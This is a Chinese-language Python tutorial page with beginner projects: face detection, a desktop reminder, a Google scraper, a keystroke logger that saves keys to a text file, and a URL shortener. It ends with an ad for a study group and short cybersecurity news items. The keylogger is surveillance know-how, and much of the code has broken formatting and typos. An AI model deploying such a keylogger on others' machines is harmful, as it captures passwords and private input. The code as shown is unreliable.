目的:编写一个Python脚本,可以检测图像中的人脸,并将所有的人脸保存在一个文件夹中。
提示:可以使用haar级联分类器对人脸进行检测。它返回的人脸坐标信息,可以保存在一个文件中。
安装:OpenCV。
import cv2
# Load the cascade
face_cascade = cv2.CascadeClassifier(‘haarcascade_frontalface_default.xml’)
# Read the input image
img = cv2.imread(‘images/img0.jpg’)
# Convert into grayscale
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
# Detect faces
faces = face_cascade.detectMultiScale(gray, 1.3, 4)
# Draw rectangle around the faces
for (x, y, w, h) in faces:
cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)
crop_face = img[y:y + h, x:x + w]
cv2.imwrite(str(w) + str(h) + ‘_faces.jpg’, crop_face)
# Display the output
cv2.imshow(‘img’, img)
cv2.imshow(“imgcropped”,crop_face)
cv2.waitKey()
目的:创建一个提醒应用程序,在特定的时间提醒你做一些事情(桌面通知)。
提示:Time模块可以用来跟踪提醒时间,toastnotifier库可以用来显示桌面通知。
安装:win10toast
from win10toast
import ToastNotifier
import time toaster = ToastNotifier()
try: print(“Title of reminder”)
header = input()
print(“Message of reminder”)
text = input() print(“In how many minutes?”)
time_min = input() time_min=float(time_min)
except:
header = input(“Title of reminder\n”)
text = input(“Message of remindar\n”)
time_min=float(input(“In how many minutes?\n”))
time_min = time_min * 60 print(“Setting up reminder..”)
time.sleep(2) print(“all set!”)
time.sleep(time_min) toaster.show_toast(f”{header}”, f”{text}”, duration=10, threaded=True) while toaster.notification_active(): time.sleep(0.005)
更多项目源码,请继续关注小编,如果大家在学习中遇到困难,想找一个python学习交流环境,可以加入我们的python裙,关注小编,并私信“01”即可进裙,领取python学习资料,会节约很多时间,减少很多遇到的难题。
目的:创建一个脚本,可以根据查询条件从谷歌搜索获取数据。
from bs4
import BeautifulSoup
import requests
headers = {‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3’} def google(query):
query = query.replace(” “,”+”)
try:
url = f’https://www.google.com/search?q={query}&oq={query}&aqs=chrome..69i57j46j69i59j35i39j0j46j0l2.4948j0j7&sourceid=chrome&ie=UTF-8′
res = requests.get(url,headers=headers)
soup = BeautifulSoup(res.text,’html.parser’)
except:
print(“Make sure you have a internet connection”)
try:
try:
ans = soup.select(‘.RqBzHd’)[0].getText().strip() except: try: title=soup.select(‘.AZCkJd’)[0].getText().strip()
try:
ans=soup.select(‘.e24Kjd’)[0].getText().strip()
except: ans=”” ans=f'{title}\n{ans}’ except:
try:
ans=soup.select(‘.hgKElc’)[0].getText().strip()
except:
ans=soup.select(‘.kno-rdesc span’)[0].getText().strip()
except:
ans = “can’t find on google”
return ans result = google(str(input(“Query\n”))) print(result)
目的:编写一个Python脚本,将用户按下的所有键保存在一个文本文件中。
提示:pynput是Python中的一个库,用于控制键盘和鼠标的移动,它也可以用于 *** 键盘记录器。简单地读取用户按下的键,并在一定数量的键后将它们保存在一个文本文件中。
from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()
keys=[]
def on_press(key):
global keys
#keys.append(str(key).replace(“‘”,””))
string = str(key).replace(“‘”,””)
keys.append(string)
main_string = “”.join(keys)
print(main_string)
if len(main_string)>15:
with open(‘keys.txt’, ‘a’) as f:
f.write(main_string)
keys= []
def on_release(key):
if key == Key.esc:
return False
with listener(on_press=on_press,on_release=on_release) as listener: listener.join()
目的:编写一个Python脚本,使用API缩短给定的URL。
from __future__ import with_statement
import contextlib
try:
from urllib.parse import urlencode
except ImportError:
from urllib import urlencode
try:
from urllib.request import urlopen
except ImportError:
from urllib2 import urlope
import sys
def make_tiny(url):
request_url = (‘http://tinyurl.com/api-create.php?’ +
urlencode({‘url’:url}))
with contextlib.closing(urlopen(request_url)) as response:
return response.read().decode(‘utf-8’)
def main(): for tinyurl in map(make_tiny, sys.argv[1:]):
print(tinyurl) if __name__ == ‘__main__’: main()
—————————–OUTPUT————————
python url_shortener.py https://www. *** .org/
https://tinyurl.com/buf3qt3
最后多说一句,小编是一名python开发工程师,这里有我自己整理了一套最新的python系统学习教程,包括从基础的python脚本到web开发、爬虫、数据分析、数据可视化、机器学习等。
乌克兰计算机应急响应小组(CERT-UA)在周二的一份安全公告中称,他们刚刚破坏了 Sandworm 想要攻陷一家该国能源供应商的企图。据说 Sandworm 是一个与俄罗斯军事情报部门有关联的黑客组织,期间试图利用臭名昭著的新版 Industroyer 恶意软件,来切断未具名的某能源供应商的变电站...
英国国家网络安全中心(NCSC)近日向 4000 多家网店的店主发出警告,他们的网站受到了 Magecart 的攻击影响,会窃取客户的支付信息。Magecart 攻击也称网络盗取、数字盗取或电子盗取,攻击者将被称为信用卡盗取器的脚本注入被攻击的网店,以收获和窃取顾客在结账页面提交的支付和/或个人信息...
伊朗国家石油产品分销公司(NIOPDC)的加油站26日停工,原因是网络攻击波及了整个分销网络。 NIOPDC网络在全国拥有3500多个加油站,80多年来一直供应石油产品。 调查机构正在查找造成破坏的原因,目前还没有公开说明幕后黑手的信息,但伊朗正在指责一个敌对国家。 并非全无线索,ISNA 通讯社首...
有争议的面部识别公司Clearview AI通过从互联网上搜罗自拍照片,积累了一个约100亿张图片的数据库,以便向执法部门出售身份匹配服务,今天,该公司再次被勒令删除人们的数据。法国的隐私监督机构CNIL今天说,这是因为Clearview违反了欧洲的《通用数据保护条例》(GDPR)。 在一份关于违...
在美国遭受多次利用开源软件漏洞的攻击后,包括苹果在内的科技公司高管将于周四参加白宫的网络安全会议。1月13日星期四的会议是由于发现了开源Log4j软件的漏洞而专门召开的,该软件在国际上被用于应用程序的数据记录。 白宫国家安全顾问杰克-沙利文在12月写信给大科技公司的首席执行官,说这种开源软件是一个”...
欧盟司法专员Didier Reynders、卢森堡首相Xavier Bettel和数十名欧盟官员都被卷入了Facebook的数据泄露事件,该事件被发布到公共论坛上并广泛流传。 他们的数据是周六被发现的5.33亿条记录的一部分,包括电话号码、Facebook ID、全名和出生日期,并在网上论坛上免费流...